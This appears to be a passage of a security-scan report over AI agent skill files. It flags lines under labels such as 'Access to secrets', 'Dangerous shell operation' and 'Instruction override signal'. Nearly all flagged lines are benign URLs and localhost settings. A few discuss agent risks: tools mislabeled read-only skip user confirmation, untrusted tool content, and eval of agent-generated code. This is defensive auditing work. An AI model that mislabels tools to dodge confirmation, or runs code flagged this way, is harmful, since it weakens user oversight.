- [ ] `name` is `web-design-reviewer` and matches the parent directory. - [ ] The target URL is reachable, including `http://localhost:3000` when the local server is running. - Network accessline 413
- [ ] The target URL is reachable, including `http://localhost:3000` when the local server is running. - Network accessline 423
- [Playwright MCP](https://github.com/microsoft/playwright-mcp)
harness/claude-code/skills/web-design-reviewer/references/framework-fixes.md
harness/claude-code/skills/webapp-testing/LICENSE.txt
harness/claude-code/skills/webapp-testing/SKILL.md
- Network accessline 68
browser = p.chromium.launch(headless=True) # Always launch chromium in headless mode page = browser.new_page() page.goto('http://localhost:5173') # Server already running and ready - Network accessline 69
page = browser.new_page() page.goto('http://localhost:5173') # Server already running and ready page.wait_for_load_state('networkidle') # CRITICAL: Wait for JS to execute - Network accessline 70
page.goto('http://localhost:5173') # Server already running and ready
harness/claude-code/skills/webapp-testing/examples/console_logging.py
harness/claude-code/skills/webapp-testing/examples/element_discovery.py
harness/claude-code/skills/webapp-testing/examples/static_html_automation.py
- Executable scriptline 1
Executable file
harness/claude-code/skills/webapp-testing/scripts/with_server.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 26
while time.time() - start_time < timeout: try: with socket.create_connection(('localhost', port), timeout=1): - Network accessline 27
try: with socket.create_connection(('localhost', port), timeout=1): return True - Network accessline 28
with socket.create_connection(('localhost', port), timeout=1):
harness/claude-code/skills/webmcpify/SKILL.md
- Network accessline 9
license: MIT metadata: source: "https://github.com/TueJon/webmcpify" - Network accessline 10
metadata: source: "https://github.com/TueJon/webmcpify" --- - Network accessline 11
source: "https://github.com/TueJon/webmcpify" - Network accessline 41
- WebMCP is an evolving origin-trial API from the W3C Web Machine Learning Community Group: https://webmachinelearning.github.io/webmcp/ - Network accessline 85
"typescript": true, "entry": "src/main.tsx", "baseUrl": "http://localhost:5173", - Network accessline 86
"entry": "src/main.tsx", "baseUrl": "http://localhost:5173", "startCommand": "npm run dev", - Network accessline 87
"baseUrl": "http://localhost:5173", - Access to secretsline 104
[Credential-related source omitted] - Access to secretsline 199
[Credential-related source omitted] - Network accessline 208
- [WebMCP draft](https://webmachinelearning.github.io/webmcp/) - Network accessline 209
- [webmcpify source](https://github.com/TueJon/webmcpify)
harness/claude-code/skills/webmcpify/references/heal.md
- Network accessline 51
if (process.env.WEBMCP_LIVE_MUTATIONS === '1') { await page.route('**/api/contact', async (route) => { const response = await context.request.fetch(route.request(), { - Network accessline 52
await page.route('**/api/contact', async (route) => { const response = await context.request.fetch(route.request(), { headers: { ...route.request().headers(), origin: 'https://example.com' }, // the prod Origin - Network accessline 53
const response = await context.request.fetch(route.request(), { - Network accessline 54
headers: { ...route.request().headers(), origin: 'https://example.com' }, // the prod Origin
harness/claude-code/skills/webmcpify/references/inventory.md
- Instruction override signalline 45
*Initiation tools only navigate/open the flow — the human completes it. They are classified non-mutating (no data changes) **but must NOT carry `readOnlyHint`**: they change UI state, and agents skip confirmations for hinted-read-only tools - Instruction override signalline 46
classified non-mutating (no data changes) **but must NOT carry `readOnlyHint`**: they change UI state, and agents skip confirmations for hinted-read-only tools. `readOnlyHint: true` is reserved for genuinely pure data reads. - Instruction override signalline 47
they change UI state, and agents skip confirmations for hinted-read-only tools.
harness/claude-code/skills/webmcpify/references/runtime.md
- Network accessline 27
| `isWebMCPAvailable()` | Feature detection — the app must work identically without WebMCP | | `createToolScope(key, tools, options?)` | Registers a tool set under one AbortController; returns a **callable dispose handle** carrying `ready: - Network accessline 28
| `createToolScope(key, tools, options?)` | Registers a tool set under one AbortController; returns a **callable dispose handle** carrying `ready: Promise<boolean>` (true = all registrations committed; false = no WebMCP / duplicate key / fa - Network accessline 29
| `dispatchAndWait(event, detail?, timeoutMs?)` | Bridges `execute()` to the app's own event/state flow. The dispatched detail carries `requestId` plus `signal` — an AbortSignal aborted on timeout; pass it to `fetch()` and skip state commit
harness/claude-code/skills/webmcpify/references/security.md
- Instruction override signalline 48
consent decisions from it). - [ ] `readOnlyHint: true` ONLY on genuinely pure data reads (agents skip confirmation based on it; mislabeling is the worst single mistake). - Instruction override signalline 49
- [ ] `readOnlyHint: true` ONLY on genuinely pure data reads (agents skip confirmation based on it; mislabeling is the worst single mistake). - [ ] `untrustedContentHint: true` on every tool returning user-generated or
harness/claude-code/skills/webmcpify/references/verify.md
- Network accessline 100
}); EOF WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \ - Network accessline 101
EOF WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \ NODE_PATH=/tmp/webmcpify-harness/node_modules npx playwright test - Network accessline 102
WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \ - Network accessline 112
**Alternative:** Puppeteer ships a first-class experimental WebMCP API (https://pptr.dev/guides/webmcp) — prefer it when the target repo already uses - Network accessline 113
(https://pptr.dev/guides/webmcp) — prefer it when the target repo already uses
harness/claude-code/skills/webmcpify/templates/webmcp-jsx.d.ts
- Network accessline 1
/** * React JSX typings for the declarative WebMCP attributes — vendored from * https://github.com/TueJon/webmcpify - Executable scriptline 1
Executable file - Network accessline 2
* React JSX typings for the declarative WebMCP attributes — vendored from * https://github.com/TueJon/webmcpify * - Network accessline 3
* https://github.com/TueJon/webmcpify - Network accessline 25
* SOFTWARE. * * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 26
* * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE * - Network accessline 27
* Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
harness/claude-code/skills/webmcpify/templates/webmcp.d.ts
- Network accessline 1
/** * Ambient types for the WebMCP API — vendored from https://github.com/TueJon/webmcpify - Executable scriptline 1
Executable file - Network accessline 2
* Ambient types for the WebMCP API — vendored from https://github.com/TueJon/webmcpify - Network accessline 24
* SOFTWARE. * * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 25
* * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE * - Network accessline 26
* Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 27
* * registerTool/ontoolchange/annotations/getTools follow the CG draft * (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only - Network accessline 28
* registerTool/ontoolchange/annotations/getTools follow the CG draft * (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only * extension not yet in the draft. This API is in flux — re-check against the - Network accessline 29
* (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only - Network accessline 30
* extension not yet in the draft. This API is in flux — re-check against the * draft and https://developer.chrome.com/docs/ai/webmcp when updating. * - Network accessline 31
* draft and https://developer.chrome.com/docs/ai/webmcp when updating.
harness/claude-code/skills/webmcpify/templates/webmcp.spec.ts
- Network accessline 1
/** * webmcpify verification template — vendored from https://github.com/TueJon/webmcpify - Executable scriptline 1
Executable file - Network accessline 2
* webmcpify verification template — vendored from https://github.com/TueJon/webmcpify - Network accessline 24
* SOFTWARE. * * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 25
* * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE * - Network accessline 26
* Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 42
const BASE_URL = process.env.WEBMCP_BASE_URL ?? 'http://localhost:5173';
harness/claude-code/skills/webmcpify/templates/webmcpify.js
- Network accessline 1
/** * webmcpify runtime (JavaScript variant) — vendored from https://github.com/TueJon/webmcpify - Executable scriptline 1
Executable file - Network accessline 2
* webmcpify runtime (JavaScript variant) — vendored from https://github.com/TueJon/webmcpify - Network accessline 24
* SOFTWARE. * * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 25
* * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE * - Network accessline 26
* Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 139
* Bridge execute() to the app's own event/state flow. The dispatched detail * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted * on timeout; handlers should pass it to fetch() and skip state commits and the - Network accessline 140
* carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted * on timeout; handlers should pass it to fetch() and skip state commits and the * completion dispatch once aborted. Resolves only after the component confir - Network accessline 141
* on timeout; handlers should pass it to fetch() and skip state commits and the
harness/claude-code/skills/webmcpify/templates/webmcpify.ts
- Network accessline 1
/** * webmcpify runtime — vendored from https://github.com/TueJon/webmcpify - Executable scriptline 1
Executable file - Network accessline 2
* webmcpify runtime — vendored from https://github.com/TueJon/webmcpify - Network accessline 24
* SOFTWARE. * * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 25
* * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE * - Network accessline 26
* Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE - Network accessline 165
* Bridge execute() to the app's own event/state flow. The dispatched detail * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted * on timeout; handlers should pass it to fetch() and skip state commits and the - Network accessline 166
* carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted * on timeout; handlers should pass it to fetch() and skip state commits and the * completion dispatch once aborted. Resolves only after the component confir - Network accessline 167
* on timeout; handlers should pass it to fetch() and skip state commits and the
harness/claude-code/skills/winmd-api-search/SKILL.md
- Network accessline 33
- **.NET SDK 8.0 or later** — required to build the cache generator. Install from [dotnet.microsoft.com](https://dotnet.microsoft.com/download) if not available. - Network accessline 118
| Namespace prefix | Documentation base URL | |-----------------|----------------------| | `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` | - Network accessline 119
|-----------------|----------------------| | `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` | | `Microsoft.*` (WinAppSDK) | `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/{fully.qualified.type - Network accessline 120
| `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` | - Network accessline 121
| `Microsoft.*` (WinAppSDK) | `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/{fully.qualified.typename}` | - Network accessline 123
For example, `Microsoft.UI.Xaml.Controls.NavigationView` maps to: `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/microsoft.ui.xaml.controls.navigationview` - Network accessline 124
`https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/microsoft.ui.xaml.controls.navigationview` - Network accessline 231
- [Windows Platform SDK API reference](https://learn.microsoft.com/uwp/api/) — documentation for `Windows.*` namespaces - Network accessline 232
- [Windows App SDK API reference](https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/) — documentation for `Microsoft.*` WinAppSDK namespaces
harness/claude-code/skills/winmd-api-search/scripts/Invoke-WinMdQuery.ps1
- Executable scriptline 1
Executable file
harness/claude-code/skills/winmd-api-search/scripts/Update-WinMdCache.ps1
harness/claude-code/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.dgspec.json
harness/claude-code/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.g.props
harness/claude-code/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.g.targets
harness/claude-code/skills/winmd-api-search/scripts/cache-generator/obj/project.assets.json
harness/claude-code/skills/write-coding-standards-from-file/SKILL.md
- Network accessline 77
Keep these original configuration labels recognizable when translating older requests: `boolean`, `string[]`, `string`, `object`, `quasi-configuration`, `as-is`, `and/or`, ` or `, `top-level`, `well-known`, `line-breaks`, `${fileName}`, `${ - Network accessline 98
| Language or ecosystem | URL | | --- | --- | | C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` | - Network accessline 99
| --- | --- | | C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` | | C# Style Guide | `https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions` | - Network accessline 100
| C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` | - Network accessline 101
| C# Style Guide | `https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions` | - Network accessline 102
| C++ Style Guide | `https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines` | - Network accessline 103
| Go Style Guide | `https://github.com/golang-standards/project-layout` | - Network accessline 104
| Java Style Guide | `https://coderanch.com/wiki/718799/Style` | - Network accessline 105
| AngularJS App Style Guide | `https://github.com/mgechev/angularjs-style-guide` | - Network accessline 106
| jQuery Style Guide | `https://contribute.jquery.org/style-guide/js/` | - Network accessline 107
| JavaScript Style Guide | `https://www.w3schools.com/js/js_conventions.asp` | - Network accessline 108
| JSON Style Guide | `https://google.github.io/styleguide/jsoncstyleguide.xml` | - Network accessline 109
| Kotlin Style Guide | `https://kotlinlang.org/docs/coding-conventions.html` | - Network accessline 110
| Markdown Style Guide | `https://cirosantilli.com/markdown-style-guide/` | - Network accessline 111
| Perl Style Guide | `https://perldoc.perl.org/perlstyle` | - Network accessline 112
| PHP Style Guide | `https://phptherightway.com/` | - Network accessline 113
| Python Style Guide | `https://peps.python.org/pep-0008/` | - Network accessline 114
| Ruby Style Guide | `https://rubystyle.guide/` | - Network accessline 115
| Rust Style Guide | `https://github.com/rust-lang/rust/tree/HEAD/src/doc/style-guide/src` | - Network accessline 116
| Swift Style Guide | `https://www.swift.org/documentation/api-design-guidelines/` | - Network accessline 117
| TypeScript Style Guide | `https://www.typescriptlang.org/docs/handbook/declaration-files/do-s-and-don-ts.html` | - Network accessline 118
| Visual Basic Style Guide | `https://en.wikibooks.org/wiki/Visual_Basic/Coding_Standards` | - Network accessline 119
| Shell Script Style Guide | `https://google.github.io/styleguide/shellguide.html` | - Network accessline 120
| Git Usage Style Guide | `https://github.com/agis/git-style-guide` | - Network accessline 121
| PowerShell Style Guide | `https://github.com/PoshCode/PowerShellPracticeAndStyle` | - Network accessline 122
| CSS | `https://cssguidelin.es/` | - Network accessline 123
| Sass Style Guide | `https://sass-guidelin.es/` | - Network accessline 124
| HTML Style Guide | `https://github.com/marcobiedermann/html-style-guide` | - Network accessline 125
| Linux kernel Style Guide | `https://www.kernel.org/doc/html/latest/process/coding-style.html` | - Network accessline 126
| Node.js Style Guide | `https://github.com/felixge/node-style-guide` | - Network accessline 127
| SQL Style Guide | `https://www.sqlstyle.guide/` | - Network accessline 128
| Angular Style Guide | `https://angular.dev/style-guide` | - Network accessline 129
| Vue Style Guide | `https://vuejs.org/style-guide/rules-strongly-recommended.html` | - Network accessline 130
| Django Style Guide | `https://docs.djangoproject.com/en/dev/internals/contributing/writing-code/coding-style/` | - Network accessline 131
| SystemVerilog Style Guide | `https://github.com/lowRISC/style-guides/blob/master/VerilogCodingStyle.md` | - Network accessline 273
- [C Style Guide](https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html) - Network accessline 274
- [C# Style Guide](https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions) - Network accessline 275
- [C++ Style Guide](https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines) - Network accessline 276
- [Go Style Guide](https://github.com/golang-standards/project-layout) - Network accessline 277
- [Java Style Guide](https://coderanch.com/wiki/718799/Style) - Network accessline 278
- [AngularJS App Style Guide](https://github.com/mgechev/angularjs-style-guide) - Network accessline 279
- [jQuery Style Guide](https://contribute.jquery.org/style-guide/js/) - Network accessline 280
- [JavaScript Style Guide](https://www.w3schools.com/js/js_conventions.asp) - Network accessline 281
- [JSON Style Guide](https://google.github.io/styleguide/jsoncstyleguide.xml) - Network accessline 282
- [Kotlin Style Guide](https://kotlinlang.org/docs/coding-conventions.html) - Network accessline 283
- [Markdown Style Guide](https://cirosantilli.com/markdown-style-guide/) - Network accessline 284
- [Perl Style Guide](https://perldoc.perl.org/perlstyle) - Network accessline 285
- [PHP Style Guide](https://phptherightway.com/) - Network accessline 286
- [Python Style Guide](https://peps.python.org/pep-0008/) - Network accessline 287
- [Ruby Style Guide](https://rubystyle.guide/) - Network accessline 288
- [Rust Style Guide](https://github.com/rust-lang/rust/tree/HEAD/src/doc/style-guide/src) - Network accessline 289
- [Swift Style Guide](https://www.swift.org/documentation/api-design-guidelines/) - Network accessline 290
- [TypeScript Style Guide](https://www.typescriptlang.org/docs/handbook/declaration-files/do-s-and-don-ts.html) - Network accessline 291
- [Visual Basic Style Guide](https://en.wikibooks.org/wiki/Visual_Basic/Coding_Standards) - Network accessline 292
- [Shell Script Style Guide](https://google.github.io/styleguide/shellguide.html) - Network accessline 293
- [Git Usage Style Guide](https://github.com/agis/git-style-guide) - Network accessline 294
- [PowerShell Style Guide](https://github.com/PoshCode/PowerShellPracticeAndStyle) - Network accessline 295
- [CSS](https://cssguidelin.es/) - Network accessline 296
- [Sass Style Guide](https://sass-guidelin.es/) - Network accessline 297
- [HTML Style Guide](https://github.com/marcobiedermann/html-style-guide) - Network accessline 298
- [Linux kernel Style Guide](https://www.kernel.org/doc/html/latest/process/coding-style.html) - Network accessline 299
- [Node.js Style Guide](https://github.com/felixge/node-style-guide) - Network accessline 300
- [SQL Style Guide](https://www.sqlstyle.guide/) - Network accessline 301
- [Angular Style Guide](https://angular.dev/style-guide) - Network accessline 302
- [Vue Style Guide](https://vuejs.org/style-guide/rules-strongly-recommended.html) - Network accessline 303
- [Django Style Guide](https://docs.djangoproject.com/en/dev/internals/contributing/writing-code/coding-style/) - Network accessline 304
- [SystemVerilog Style Guide](https://github.com/lowRISC/style-guides/blob/master/VerilogCodingStyle.md)
harness/claude-code/skills/x-twitter-scraper/SKILL.md
- Network accessline 29
| Source | URL | | --- | --- | | REST API docs | https://docs.xquik.com/api-reference/overview | - Network accessline 30
| --- | --- | | REST API docs | https://docs.xquik.com/api-reference/overview | | SDK index | https://docs.xquik.com/sdks | - Network accessline 31
| REST API docs | https://docs.xquik.com/api-reference/overview | - Network accessline 32
| SDK index | https://docs.xquik.com/sdks | - Network accessline 33
| OpenAPI spec | https://xquik.com/openapi.json | - Network accessline 34
| MCP server docs | https://docs.xquik.com/mcp/overview | - Network accessline 35
| Skill repo | https://github.com/Xquik-dev/x-twitter-scraper | - Network accessline 36
| TweetClaw OpenClaw plugin | https://github.com/Xquik-dev/tweetclaw | - Network accessline 37
| TweetClaw npm metadata | https://registry.npmjs.org/@xquik%2Ftweetclaw | - Network accessline 38
| X Tweet Scraper Actor | https://apify.com/xquik/x-tweet-scraper | - Network accessline 39
| X Follower Scraper Actor | https://apify.com/xquik/x-follower-scraper | - Network accessline 73
[Credential-related source omitted] - Network accessline 79
[Credential-related source omitted] - Network accessline 134
- [REST API docs](https://docs.xquik.com/api-reference/overview) - Network accessline 135
- [SDK index](https://docs.xquik.com/sdks) - Network accessline 136
- [OpenAPI spec](https://xquik.com/openapi.json) - Network accessline 137
- [MCP server docs](https://docs.xquik.com/mcp/overview) - Network accessline 138
- [Skill repo](https://github.com/Xquik-dev/x-twitter-scraper) - Network accessline 139
- [TweetClaw OpenClaw plugin](https://github.com/Xquik-dev/tweetclaw) - Network accessline 140
- [TweetClaw npm registry metadata](https://registry.npmjs.org/@xquik%2Ftweetclaw) - Network accessline 141
- [X Tweet Scraper Actor](https://apify.com/xquik/x-tweet-scraper) - Network accessline 142
- [X Follower Scraper Actor](https://apify.com/xquik/x-follower-scraper) - Network accessline 143
- [Tweet Actor run endpoint](https://api.apify.com/v2/actors/xquik~x-tweet-scraper/runs) - Network accessline 144
- [Follower Actor run endpoint](https://api.apify.com/v2/actors/xquik~x-follower-scraper/runs)
harness/github-copilot/plugins/acreadiness-cockpit/skills/acreadiness-assess/report-template.html
- Network accessline 222
<footer> Generated by <a href="https://github.com/github/awesome-copilot/tree/main/plugins/acreadiness-cockpit">acreadiness-cockpit</a> - Network accessline 223
Generated by <a href="https://github.com/github/awesome-copilot/tree/main/plugins/acreadiness-cockpit">acreadiness-cockpit</a> - Network accessline 224
· powered by <a href="https://github.com/microsoft/agentrc">microsoft/agentrc</a>.
harness/github-copilot/plugins/agent-governance/skills/agent-governance/SKILL.md
- Network accessline 151
- [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit) - Network accessline 152
- [AgentMesh Integrations](https://github.com/microsoft/agent-governance-toolkit) - Network accessline 153
- [OWASP Top 10 for LLM Applications](https://owasp.org/www-project-top-10-for-large-language-model-applications/)
harness/github-copilot/plugins/agent-governance/skills/agent-owasp-compliance/SKILL.md
- Dangerous shell operationline 55
| ASI-01 | `PolicyEvaluator`, `PolicyEngine`, `input_validation`, `validate_input`, `sanitize`, `classify_intent`, `prompt_injection`, `threat_detect`, or `check_content` runs before `execute_tool(validated_input)`. | User input reaches `ex - Dangerous shell operationline 56
| ASI-02 | A fixed `ALLOWED_TOOLS = {"search", "read_file", "create_ticket"}` allowlist, schema validation, and deny-by-default behavior. | Open-ended tool registration, raw shell execution, `eval()` or `exec()` on agent-generated code with - Network accessline 134
- [OWASP Agentic AI Threats](https://genai.owasp.org/) - Network accessline 135
- [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit) - Network accessline 136
- [agent-governance skill](https://github.com/github/awesome-copilot/tree/main/skills/agent-governance)
harness/github-copilot/plugins/agent-governance/skills/agent-supply-chain/SKILL.md
- Network accessline 178
- [OpenSSF SLSA](https://slsa.dev/) - Network accessline 179
- [npm Provenance](https://docs.npmjs.com/generating-provenance-statements) - Network accessline 180
- [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit) - Network accessline 181
- [OWASP ASI-09: Supply Chain Integrity](https://genai.owasp.org/)
harness/github-copilot/plugins/application-security/skills/codeql/SKILL.md
- Network accessline 22
- Advanced setup uses `.github/workflows/codeql.yml` and may use `.github/codeql/codeql-config.yml`. - CLI uploads require `GITHUB_TOKEN` with `security-events: write` plus repository, ref, and commit metadata. - Use the CodeQL bundle from - Network accessline 24
- Use the CodeQL bundle from https://github.com/github/codeql-action/releases, not a standalone CLI download, so bundled queries and precompiled packs match the CLI. - Network accessline 237
- [CodeQL Action releases](https://github.com/github/codeql-action/releases)
harness/github-copilot/plugins/application-security/skills/codeql/references/cli-commands.md
- Network accessline 9
Always download the CodeQL bundle (CLI + precompiled queries) from: [https://github.com/github/codeql-action/releases](https://github.com/github/codeql-action/releases) - Network accessline 10
[https://github.com/github/codeql-action/releases](https://github.com/github/codeql-action/releases)
harness/github-copilot/plugins/application-security/skills/codeql/references/compiled-languages.md
- Dangerous shell operationline 52
- **Auto-install dependencies:** Set `CODEQL_EXTRACTOR_CPP_AUTOINSTALL_DEPENDENCIES=true` (enabled by default on GitHub-hosted; disabled on self-hosted). Requires Ubuntu with passwordless `sudo apt-get`.
harness/github-copilot/plugins/application-security/skills/codeql/references/sarif-output.md
- Network accessline 9
- Specification: [OASIS SARIF v2.1.0](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html) - Network accessline 10
- Schema: [sarif-schema-2.1.0.json](https://docs.oasis-open.org/sarif/sarif/v2.1.0/errata01/os/schemas/sarif-schema-2.1.0.json) - Network accessline 258
Validate SARIF files before upload using the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/).
harness/github-copilot/plugins/application-security/skills/codeql/references/troubleshooting.md
harness/github-copilot/plugins/application-security/skills/data-breach-blast-radius/SKILL.md
- Network accessline 24
> **Why this matters:** 83% of organizations have experienced more than one data breach (IBM Cost of a Data Breach Report). The global average breach cost was **$4.88M in 2024**, with the 2025 IBM report showing a 9% decrease — download the - Network accessline 321
- [IBM Cost of a Data Breach Report](https://www.ibm.com/reports/data-breach.)
harness/github-copilot/plugins/application-security/skills/data-breach-blast-radius/references/SOURCES.md
- Network accessline 11
### GDPR Special Categories (Tier 1 classification basis) - **Source:** Regulation (EU) 2016/679 — Article 9 "Processing of special categories of personal data" - **URL:** https://gdpr-info.eu/art-9-gdpr/ - Network accessline 12
- **Source:** Regulation (EU) 2016/679 — Article 9 "Processing of special categories of personal data" - **URL:** https://gdpr-info.eu/art-9-gdpr/ - **What it says:** Biometric data, health data, genetic data, racial/ethnic origin, politica - Network accessline 13
- **URL:** https://gdpr-info.eu/art-9-gdpr/ - Network accessline 17
### PCI-DSS Data Classification - **Source:** PCI Security Standards Council — PCI DSS v4.0 (March 2022) - **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/ - Network accessline 18
- **Source:** PCI Security Standards Council — PCI DSS v4.0 (March 2022) - **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/ - **What it says:** Primary Account Number (PAN), cardholder name, expiration date, se - Network accessline 19
- **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/ - Network accessline 23
### HIPAA Protected Health Information (PHI) Definition - **Source:** 45 CFR Part 160 and Part 164 (Health Insurance Portability and Accountability Act) - **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identi - Network accessline 24
- **Source:** 45 CFR Part 160 and Part 164 (Health Insurance Portability and Accountability Act) - **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identification/index.html - **What it says:** The 18 HIPAA ide - Network accessline 25
- **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identification/index.html - Network accessline 33
**Source:** Regulation (EU) 2016/679 — Article 83 "General conditions for imposing administrative fines" **URL:** https://gdpr-info.eu/art-83-gdpr/ - Network accessline 34
**URL:** https://gdpr-info.eu/art-83-gdpr/ - Network accessline 48
| €1.2B | Meta (Ireland DPC) | 2023 | source page no longer resolves | | €746M | Amazon (Luxembourg) | 2021 | source page no longer resolves | | €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-relea - Network accessline 49
| €746M | Amazon (Luxembourg) | 2021 | source page no longer resolves | | €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-releases/data-protection-commission-announces-decision-whatsapp-inquiry | | - Network accessline 50
| €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-releases/data-protection-commission-announces-decision-whatsapp-inquiry | - Network accessline 51
| €150M | Google (France CNIL) | 2022 | source page no longer resolves | | €35.3M | H&M (Hamburg DPA) | 2020 | https://www.datenschutz-hamburg.de/news/detail/article/hamburgische-beauftragte-fuer-datenschutz-und-informationsfreiheit-verhaen - Network accessline 52
| €35.3M | H&M (Hamburg DPA) | 2020 | https://www.datenschutz-hamburg.de/news/detail/article/hamburgische-beauftragte-fuer-datenschutz-und-informationsfreiheit-verhaengt-bussgeld-gegen-hm.html | - Network accessline 60
**Source:** California Civil Code § 1798.155(a) — California Consumer Privacy Act **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.155 - Network accessline 61
**URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.155 - Network accessline 68
**Private Right of Action source:** California Civil Code § 1798.150 **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.150 - Network accessline 69
**URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.150 - Network accessline 80
**Source:** 45 CFR § 160.404 — Civil Money Penalties **URL:** https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404 - Network accessline 81
**URL:** https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404 - Network accessline 83
**Source (HHS penalty tiers explained):** HHS Office for Civil Rights **URL:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/agreements/index.html - Network accessline 84
**URL:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/agreements/index.html - Network accessline 92
**URL for current amounts:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/examples/all-cases/index.html - Network accessline 96
**Criminal penalties source:** 42 U.S.C. § 1320d-6 **URL:** https://uscode.house.gov/view.xhtml?req=granuleid:USC-prelim-title42-section1320d-6 - Network accessline 97
**URL:** https://uscode.house.gov/view.xhtml?req=granuleid:USC-prelim-title42-section1320d-6 - Network accessline 103
**Source:** Lei Geral de Proteção de Dados Pessoais (LGPD) — Lei nº 13.709/2018, Article 52 **URL:** https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm - Network accessline 104
**URL:** https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm - Network accessline 114
**Source:** Personal Data Protection Act 2012 (Singapore) — Section 48J **URL:** https://sso.agc.gov.sg/Act/PDPA2012 - Network accessline 115
**URL:** https://sso.agc.gov.sg/Act/PDPA2012 - Network accessline 123
**Source:** IBM Security — "Cost of a Data Breach Report" (published annually since 2005) **URL:** https://www.ibm.com/reports/data-breach - Network accessline 124
**URL:** https://www.ibm.com/reports/data-breach - Network accessline 147
| Regulation | Timeline | Source | |-----------|---------|--------| | GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ | - Network accessline 148
|-----------|---------|--------| | GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ | | UK GDPR | 72 hours | UK GDPR Article 33 (retained EU law) — https://ico.org.uk/for-organisations/report-a-breach/ | - Network accessline 149
| GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ | - Network accessline 150
| UK GDPR | 72 hours | UK GDPR Article 33 (retained EU law) — https://ico.org.uk/for-organisations/report-a-breach/ | - Network accessline 151
| HIPAA | 60 days | 45 CFR § 164.412 — https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-164/subpart-D/section-164.412 | - Network accessline 152
